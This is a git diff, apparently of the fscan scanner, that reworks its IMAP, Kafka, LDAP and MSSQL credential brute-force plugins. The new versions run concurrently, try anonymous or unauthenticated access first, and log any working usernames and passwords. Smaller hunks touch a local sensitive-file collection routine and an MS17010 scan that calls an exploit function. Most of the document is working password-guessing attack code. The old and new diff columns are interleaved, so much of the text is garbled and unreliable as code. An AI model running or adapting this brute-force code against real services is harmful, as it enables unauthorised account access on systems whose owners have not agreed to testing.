if result.success { default:
successMsg := fmt.Sprintf("IMAP服务 %s 爆破成功 用户名: %v 密码: %v", target, user, pass) result := tryIMAPCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
Common.LogSuccess(successMsg) if result.Success {
select {
// 保存结果 case resultChan <- result:
vulnResult := &Common.ScanResult{ scanCancel() // 找到有效凭据,取消其他工作
Time: time.Now(), default:
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "imap",
"username": user,
"password": pass,
"type": "weak-password",
},
} }
Common.SaveResult(vulnResult) return
return nil
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
err = fmt.Errorf("连接超时")
}
if err != nil {
errMsg := fmt.Sprintf("IMAP服务 %s 尝试失败 用户名: %v 密码: %v 错误: %v", target, user, pass, err)
Common.LogError(errMsg)
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
continue
}
continue
} }
} }
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("IMAP并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryIMAPCredential 尝试单个IMAP凭据
func tryIMAPCredential(ctx context.Context, info *Common.HostInfo, credential IMAPCredential, timeoutSeconds int64, maxRetries int) *IMAPScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &IMAPScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建单个连接超时的上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
success, err := IMAPConn(connCtx, info, credential.Username, credential.Password)
cancel()
if success {
return &IMAPScanResult{
Success: true,
Credential: credential,
}
}
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
} }
} }
} }
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried)) return &IMAPScanResult{
return tmperr Success: false,
Error: lastErr,
Credential: credential,
}
} }
// IMAPConn 连接测试函数 // IMAPConn 连接测试函数
func IMAPConn(info *Common.HostInfo, user string, pass string) (bool, error) { func IMAPConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
host, port := info.Host, info.Ports host, port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second timeout := time.Duration(Common.Timeout) * time.Second
addr := fmt.Sprintf("%s:%s", host, port) addr := fmt.Sprintf("%s:%s", host, port)
// 尝试普通连接 // 创建结果通道
conn, err := net.DialTimeout("tcp", addr, timeout) resultChan := make(chan struct {
if err == nil { success bool
if flag, err := tryIMAPAuth(conn, user, pass, timeout); err == nil { err error
return flag, nil }, 1)
// 在协程中尝试连接
go func() {
// 先尝试普通连接
dialer := &net.Dialer{Timeout: timeout}
conn, err := dialer.DialContext(ctx, "tcp", addr)
if err == nil {
flag, authErr := tryIMAPAuth(conn, user, pass, timeout)
conn.Close()
if authErr == nil {
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
}{flag, nil}:
}
return
}
} }
conn.Close()
}
// 尝试TLS连接 // 如果普通连接失败或认证失败尝试TLS连接
tlsConfig := &tls.Config{ tlsConfig := &tls.Config{
InsecureSkipVerify: true, InsecureSkipVerify: true,
} }
conn, err = tls.DialWithDialer(&net.Dialer{Timeout: timeout}, "tcp", addr, tlsConfig) tlsConn, tlsErr := tls.DialWithDialer(dialer, "tcp", addr, tlsConfig)
if err != nil { if tlsErr != nil {
return false, fmt.Errorf("连接失败: %v", err) select {
} case <-ctx.Done():
defer conn.Close() case resultChan <- struct {
success bool
err error
}{false, fmt.Errorf("连接失败: %v", tlsErr)}:
}
return
}
defer tlsConn.Close()
return tryIMAPAuth(conn, user, pass, timeout) flag, authErr := tryIMAPAuth(tlsConn, user, pass, timeout)
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
}{flag, authErr}:
}
}()
// 等待结果或上下文取消
select {
case result := <-resultChan:
return result.success, result.err
case <-ctx.Done():
return false, ctx.Err()
}
} }
// tryIMAPAuth 尝试IMAP认证 // tryIMAPAuth 尝试IMAP认证
@ -167,3 +299,26 @@ func tryIMAPAuth(conn net.Conn, user string, pass string, timeout time.Duration)
} }
} }
} }
// saveIMAPResult 保存IMAP扫描结果
func saveIMAPResult(info *Common.HostInfo, target string, credential IMAPCredential) {
successMsg := fmt.Sprintf("IMAP服务 %s 爆破成功 用户名: %v 密码: %v",
target, credential.Username, credential.Password)
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "imap",
"username": credential.Username,
"password": credential.Password,
"type": "weak-password",
},
}
Common.SaveResult(vulnResult)
}

View File

@ -1,134 +1,282 @@
package Plugins package Plugins
import ( import (
"context"
"fmt" "fmt"
"github.com/IBM/sarama" "github.com/IBM/sarama"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Common"
"strings" "strings"
"sync"
"time" "time"
) )
func KafkaScan(info *Common.HostInfo) (tmperr error) { // KafkaCredential 表示Kafka凭据
type KafkaCredential struct {
Username string
Password string
}
// KafkaScanResult 表示扫描结果
type KafkaScanResult struct {
Success bool
IsUnauth bool
Error error
Credential KafkaCredential
}
func KafkaScan(info *Common.HostInfo) error {
if Common.DisableBrute { if Common.DisableBrute {
return return nil
} }
maxRetries := Common.MaxRetries
target := fmt.Sprintf("%v:%v", info.Host, info.Ports) target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 尝试无认证访问 // 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 先尝试无认证访问
Common.LogDebug("尝试无认证访问...") Common.LogDebug("尝试无认证访问...")
for retryCount := 0; retryCount < maxRetries; retryCount++ { unauthResult := tryKafkaCredential(ctx, info, KafkaCredential{"", ""}, Common.Timeout, Common.MaxRetries)
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试无认证访问", retryCount+1)) if unauthResult.Success {
// 无认证访问成功
Common.LogSuccess(fmt.Sprintf("Kafka服务 %s 无需认证即可访问", target))
// 保存无认证访问结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "kafka",
"type": "unauthorized-access",
},
} }
flag, err := KafkaConn(info, "", "") Common.SaveResult(result)
if flag && err == nil { return nil
// 保存无认证访问结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "kafka",
"type": "unauthorized-access",
},
}
Common.SaveResult(result)
Common.LogSuccess(fmt.Sprintf("Kafka服务 %s 无需认证即可访问", target))
return nil
}
if err != nil && Common.CheckErrs(err) != nil {
if retryCount < maxRetries-1 {
continue
}
return err
}
break
} }
totalUsers := len(Common.Userdict["kafka"]) // 构建凭据列表
totalPass := len(Common.Passwords) var credentials []KafkaCredential
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
tried := 0
total := totalUsers * totalPass
// 遍历所有用户名密码组合
for _, user := range Common.Userdict["kafka"] { for _, user := range Common.Userdict["kafka"] {
for _, pass := range Common.Passwords { for _, pass := range Common.Passwords {
tried++ actualPass := strings.Replace(pass, "{user}", user, -1)
pass = strings.Replace(pass, "{user}", user, -1) credentials = append(credentials, KafkaCredential{
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass)) Username: user,
Password: actualPass,
})
}
}
for retryCount := 0; retryCount < maxRetries; retryCount++ { Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
if retryCount > 0 { len(Common.Userdict["kafka"]), len(Common.Passwords), len(credentials)))
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
// 使用工作池并发扫描
result := concurrentKafkaScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
if result != nil {
// 保存爆破成功结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "kafka",
"type": "weak-password",
"username": result.Credential.Username,
"password": result.Credential.Password,
},
}
Common.SaveResult(vulnResult)
Common.LogSuccess(fmt.Sprintf("Kafka服务 %s 爆破成功 用户名: %s 密码: %s",
target, result.Credential.Username, result.Credential.Password))
return nil
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("Kafka扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了无认证
return nil
}
}
// concurrentKafkaScan 并发扫描Kafka服务
func concurrentKafkaScan(ctx context.Context, info *Common.HostInfo, credentials []KafkaCredential, timeoutSeconds int64, maxRetries int) *KafkaScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *KafkaScanResult, 1)
workChan := make(chan KafkaCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
result := tryKafkaCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
} }
}
}()
}
done := make(chan struct { // 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("Kafka并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryKafkaCredential 尝试单个Kafka凭据
func tryKafkaCredential(ctx context.Context, info *Common.HostInfo, credential KafkaCredential, timeoutSeconds int64, maxRetries int) *KafkaScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &KafkaScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建单个连接超时的上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
// 在协程中执行Kafka连接
resultChan := make(chan struct {
success bool
err error
}, 1)
go func() {
success, err := KafkaConn(info, credential.Username, credential.Password)
select {
case <-connCtx.Done():
// 连接超时或被取消
case resultChan <- struct {
success bool success bool
err error err error
}, 1) }{success, err}:
// 发送结果
go func(user, pass string) {
success, err := KafkaConn(info, user, pass)
select {
case done <- struct {
success bool
err error
}{success, err}:
default:
}
}(user, pass)
var err error
select {
case result := <-done:
err = result.err
if result.success && err == nil {
// 保存爆破成功结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "kafka",
"type": "weak-password",
"username": user,
"password": pass,
},
}
Common.SaveResult(vulnResult)
Common.LogSuccess(fmt.Sprintf("Kafka服务 %s 爆破成功 用户名: %s 密码: %s", target, user, pass))
return nil
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
err = fmt.Errorf("连接超时")
} }
}()
if err != nil { // 等待结果或超时
Common.LogError(fmt.Sprintf("Kafka服务 %s 尝试失败 用户名: %s 密码: %s 错误: %v", var success bool
target, user, pass, err)) var err error
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 { select {
continue case result := <-resultChan:
} success = result.success
continue err = result.err
case <-connCtx.Done():
if ctx.Err() != nil {
// 全局超时
cancel()
return &KafkaScanResult{
Success: false,
Error: ctx.Err(),
Credential: credential,
} }
} }
break // 单个连接超时
err = fmt.Errorf("连接超时")
}
cancel() // 清理单个连接上下文
if success {
isUnauth := credential.Username == "" && credential.Password == ""
return &KafkaScanResult{
Success: true,
IsUnauth: isUnauth,
Credential: credential,
}
}
lastErr = err
if err != nil {
// 记录错误
Common.LogError(fmt.Sprintf("Kafka尝试失败 用户名: %s 密码: %s 错误: %v",
credential.Username, credential.Password, err))
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
} }
} }
} }
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried)) return &KafkaScanResult{
return tmperr Success: false,
Error: lastErr,
Credential: credential,
}
} }
// KafkaConn 尝试 Kafka 连接 // KafkaConn 尝试 Kafka 连接
@ -138,6 +286,8 @@ func KafkaConn(info *Common.HostInfo, user string, pass string) (bool, error) {
config := sarama.NewConfig() config := sarama.NewConfig()
config.Net.DialTimeout = timeout config.Net.DialTimeout = timeout
config.Net.ReadTimeout = timeout
config.Net.WriteTimeout = timeout
config.Net.TLS.Enable = false config.Net.TLS.Enable = false
config.Version = sarama.V2_0_0_0 config.Version = sarama.V2_0_0_0

View File

@ -1,166 +1,312 @@
package Plugins package Plugins
import ( import (
"context"
"fmt" "fmt"
"github.com/go-ldap/ldap/v3" "github.com/go-ldap/ldap/v3"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Common"
"net"
"strings" "strings"
"sync"
"time" "time"
) )
func LDAPScan(info *Common.HostInfo) (tmperr error) { // LDAPCredential 表示一个LDAP凭据
type LDAPCredential struct {
Username string
Password string
}
// LDAPScanResult 表示LDAP扫描结果
type LDAPScanResult struct {
Success bool
Error error
Credential LDAPCredential
IsAnonymous bool
}
func LDAPScan(info *Common.HostInfo) error {
if Common.DisableBrute { if Common.DisableBrute {
return return nil
} }
maxRetries := Common.MaxRetries
target := fmt.Sprintf("%v:%v", info.Host, info.Ports) target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
Common.LogDebug("尝试匿名访问...")
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 首先尝试匿名访问 // 首先尝试匿名访问
flag, err := LDAPConn(info, "", "") Common.LogDebug("尝试匿名访问...")
if flag && err == nil { anonymousResult := tryLDAPCredential(ctx, info, LDAPCredential{"", ""}, Common.Timeout, 1)
// 记录匿名访问成功
result := &Common.ScanResult{ if anonymousResult.Success {
Time: time.Now(), // 匿名访问成功
Type: Common.VULN, saveLDAPResult(info, target, anonymousResult)
Target: info.Host, return nil
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "ldap",
"type": "anonymous-access",
},
}
Common.SaveResult(result)
Common.LogSuccess(fmt.Sprintf("LDAP服务 %s 匿名访问成功", target))
return err
} }
totalUsers := len(Common.Userdict["ldap"]) // 构建凭据列表
totalPass := len(Common.Passwords) var credentials []LDAPCredential
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
tried := 0
total := totalUsers * totalPass
// 遍历所有用户名密码组合
for _, user := range Common.Userdict["ldap"] { for _, user := range Common.Userdict["ldap"] {
for _, pass := range Common.Passwords { for _, pass := range Common.Passwords {
tried++ actualPass := strings.Replace(pass, "{user}", user, -1)
pass = strings.Replace(pass, "{user}", user, -1) credentials = append(credentials, LDAPCredential{
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass)) Username: user,
Password: actualPass,
})
}
}
// 重试循环 Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
for retryCount := 0; retryCount < maxRetries; retryCount++ { len(Common.Userdict["ldap"]), len(Common.Passwords), len(credentials)))
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
}
done := make(chan struct { // 使用工作池并发扫描
success bool result := concurrentLDAPScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
err error if result != nil {
}, 1) // 记录成功结果
saveLDAPResult(info, target, result)
return nil
}
go func(user, pass string) { // 检查是否因为全局超时而退出
success, err := LDAPConn(info, user, pass) select {
select { case <-ctx.Done():
case done <- struct { Common.LogDebug("LDAP扫描全局超时")
success bool return fmt.Errorf("全局超时")
err error default:
}{success, err}: Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问
default: return nil
} }
}(user, pass) }
var err error // concurrentLDAPScan 并发扫描LDAP服务
func concurrentLDAPScan(ctx context.Context, info *Common.HostInfo, credentials []LDAPCredential, timeoutSeconds int64, maxRetries int) *LDAPScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *LDAPScanResult, 1)
workChan := make(chan LDAPCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select { select {
case result := <-done: case <-scanCtx.Done():
err = result.err return
if result.success && err == nil { default:
// 记录成功爆破的凭据 result := tryLDAPCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
vulnResult := &Common.ScanResult{ if result.Success {
Time: time.Now(), select {
Type: Common.VULN, case resultChan <- result:
Target: info.Host, scanCancel() // 找到有效凭据,取消其他工作
Status: "vulnerable", default:
Details: map[string]interface{}{
"port": info.Ports,
"service": "ldap",
"username": user,
"password": pass,
"type": "weak-password",
},
} }
Common.SaveResult(vulnResult) return
Common.LogSuccess(fmt.Sprintf("LDAP服务 %s 爆破成功 用户名: %v 密码: %v", target, user, pass))
return nil
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
err = fmt.Errorf("连接超时")
}
if err != nil {
errlog := fmt.Sprintf("LDAP服务 %s 尝试失败 用户名: %v 密码: %v 错误: %v", target, user, pass, err)
Common.LogError(errlog)
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
continue
}
continue
} }
} }
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("LDAP并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryLDAPCredential 尝试单个LDAP凭据
func tryLDAPCredential(ctx context.Context, info *Common.HostInfo, credential LDAPCredential, timeoutSeconds int64, maxRetries int) *LDAPScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &LDAPScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建连接超时上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
success, err := LDAPConn(connCtx, info, credential.Username, credential.Password)
cancel()
if success {
isAnonymous := credential.Username == "" && credential.Password == ""
return &LDAPScanResult{
Success: true,
Credential: credential,
IsAnonymous: isAnonymous,
}
}
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
} }
} }
} }
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried)) return &LDAPScanResult{
return tmperr Success: false,
Error: lastErr,
Credential: credential,
}
} }
func LDAPConn(info *Common.HostInfo, user string, pass string) (bool, error) { // LDAPConn 尝试LDAP连接
func LDAPConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
address := fmt.Sprintf("%s:%s", info.Host, info.Ports) address := fmt.Sprintf("%s:%s", info.Host, info.Ports)
timeout := time.Duration(Common.Timeout) * time.Second
// 配置LDAP连接 // 创建拨号器并设置超时
l, err := ldap.Dial("tcp", address) dialer := &net.Dialer{
Timeout: time.Duration(Common.Timeout) * time.Second,
}
// 使用上下文控制的拨号过程
conn, err := dialer.DialContext(ctx, "tcp", address)
if err != nil { if err != nil {
return false, err return false, err
} }
// 使用已连接的TCP连接创建LDAP连接
l := ldap.NewConn(conn, false)
defer l.Close() defer l.Close()
// 设置超时 // 在单独的协程中启动LDAP连接
l.SetTimeout(timeout) go l.Start()
// 尝试绑定 // 创建一个完成通道
if user != "" { done := make(chan error, 1)
bindDN := fmt.Sprintf("cn=%s,dc=example,dc=com", user)
err = l.Bind(bindDN, pass) // 在协程中进行绑定和搜索操作,确保可以被上下文取消
} else { go func() {
err = l.UnauthenticatedBind("") // 尝试绑定
var err error
if user != "" {
// 使用更通用的绑定DN模式
bindDN := fmt.Sprintf("cn=%s,dc=example,dc=com", user)
err = l.Bind(bindDN, pass)
} else {
// 匿名绑定
err = l.UnauthenticatedBind("")
}
if err != nil {
done <- err
return
}
// 尝试简单搜索以验证权限
searchRequest := ldap.NewSearchRequest(
"dc=example,dc=com",
ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false,
"(objectClass=*)",
[]string{"dn"},
nil,
)
_, err = l.Search(searchRequest)
done <- err
}()
// 等待操作完成或上下文取消
select {
case err := <-done:
if err != nil {
return false, err
}
return true, nil
case <-ctx.Done():
return false, ctx.Err()
} }
}
if err != nil {
return false, err // saveLDAPResult 保存LDAP扫描结果
} func saveLDAPResult(info *Common.HostInfo, target string, result *LDAPScanResult) {
var successMsg string
// 尝试简单搜索以验证权限 var details map[string]interface{}
searchRequest := ldap.NewSearchRequest(
"dc=example,dc=com", if result.IsAnonymous {
ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false, successMsg = fmt.Sprintf("LDAP服务 %s 匿名访问成功", target)
"(objectClass=*)", details = map[string]interface{}{
[]string{"dn"}, "port": info.Ports,
nil, "service": "ldap",
) "type": "anonymous-access",
}
_, err = l.Search(searchRequest) } else {
if err != nil { successMsg = fmt.Sprintf("LDAP服务 %s 爆破成功 用户名: %v 密码: %v",
return false, err target, result.Credential.Username, result.Credential.Password)
} details = map[string]interface{}{
"port": info.Ports,
return true, nil "service": "ldap",
"username": result.Credential.Username,
"password": result.Credential.Password,
"type": "weak-password",
}
}
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(vulnResult)
} }

View File

@ -92,8 +92,8 @@ var (
// LocalInfoScan 本地信息收集主函数 // LocalInfoScan 本地信息收集主函数
func LocalInfoScan(info *Common.HostInfo) (err error) { func LocalInfoScan(info *Common.HostInfo) (err error) {
Common.LogInfo("开始本地信息收集...") Common.LogBase("开始本地信息收集...")
// 获取用户主目录 // 获取用户主目录
home, err := os.UserHomeDir() home, err := os.UserHomeDir()
if err != nil { if err != nil {
@ -107,7 +107,7 @@ func LocalInfoScan(info *Common.HostInfo) (err error) {
// 根据规则搜索敏感文件 // 根据规则搜索敏感文件
searchSensitiveFiles() searchSensitiveFiles()
Common.LogInfo("本地信息收集完成") Common.LogBase("本地信息收集完成")
return nil return nil
} }

View File

@ -267,7 +267,7 @@ func MS17010Scan(info *Common.HostInfo) error {
defer MS17010EXP(info) defer MS17010EXP(info)
} }
} else if os != "" { } else if os != "" {
Common.LogInfo(fmt.Sprintf("系统信息 %s [%s]", ip, os)) Common.LogBase(fmt.Sprintf("系统信息 %s [%s]", ip, os))
// 保存系统信息 // 保存系统信息
sysResult := &Common.ScanResult{ sysResult := &Common.ScanResult{

View File

@ -1,121 +1,208 @@
package Plugins package Plugins
import ( import (
"context"
"database/sql" "database/sql"
"fmt" "fmt"
_ "github.com/denisenkom/go-mssqldb" _ "github.com/denisenkom/go-mssqldb"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Common"
"strings" "strings"
"sync"
"time" "time"
) )
// MssqlCredential 表示一个MSSQL凭据
type MssqlCredential struct {
Username string
Password string
}
// MssqlScanResult 表示MSSQL扫描结果
type MssqlScanResult struct {
Success bool
Error error
Credential MssqlCredential
}
// MssqlScan 执行MSSQL服务扫描 // MssqlScan 执行MSSQL服务扫描
func MssqlScan(info *Common.HostInfo) (tmperr error) { func MssqlScan(info *Common.HostInfo) error {
if Common.DisableBrute { if Common.DisableBrute {
return return nil
} }
maxRetries := Common.MaxRetries
target := fmt.Sprintf("%v:%v", info.Host, info.Ports) target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
totalUsers := len(Common.Userdict["mssql"])
totalPass := len(Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
tried := 0 // 设置全局超时上下文
total := totalUsers * totalPass ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 遍历所有用户名密码组合 // 构建凭据列表
var credentials []MssqlCredential
for _, user := range Common.Userdict["mssql"] { for _, user := range Common.Userdict["mssql"] {
for _, pass := range Common.Passwords { for _, pass := range Common.Passwords {
tried++ actualPass := strings.Replace(pass, "{user}", user, -1)
pass = strings.Replace(pass, "{user}", user, -1) credentials = append(credentials, MssqlCredential{
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass)) Username: user,
Password: actualPass,
})
}
}
// 重试循环 Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
for retryCount := 0; retryCount < maxRetries; retryCount++ { len(Common.Userdict["mssql"]), len(Common.Passwords), len(credentials)))
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
}
// 执行MSSQL连接 // 使用工作池并发扫描
done := make(chan struct { result := concurrentMssqlScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
success bool if result != nil {
err error // 记录成功结果
}, 1) saveMssqlResult(info, target, result.Credential)
return nil
}
go func(user, pass string) { // 检查是否因为全局超时而退出
success, err := MssqlConn(info, user, pass) select {
select { case <-ctx.Done():
case done <- struct { Common.LogDebug("MSSQL扫描全局超时")
success bool return fmt.Errorf("全局超时")
err error default:
}{success, err}: Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
default: return nil
} }
}(user, pass) }
// 等待结果或超时 // concurrentMssqlScan 并发扫描MSSQL服务
var err error func concurrentMssqlScan(ctx context.Context, info *Common.HostInfo, credentials []MssqlCredential, timeoutSeconds int64, maxRetries int) *MssqlScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *MssqlScanResult, 1)
workChan := make(chan MssqlCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select { select {
case result := <-done: case <-scanCtx.Done():
err = result.err return
if result.success && err == nil { default:
successMsg := fmt.Sprintf("MSSQL %s %v %v", target, user, pass) result := tryMssqlCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
Common.LogSuccess(successMsg) if result.Success {
select {
// 保存结果 case resultChan <- result:
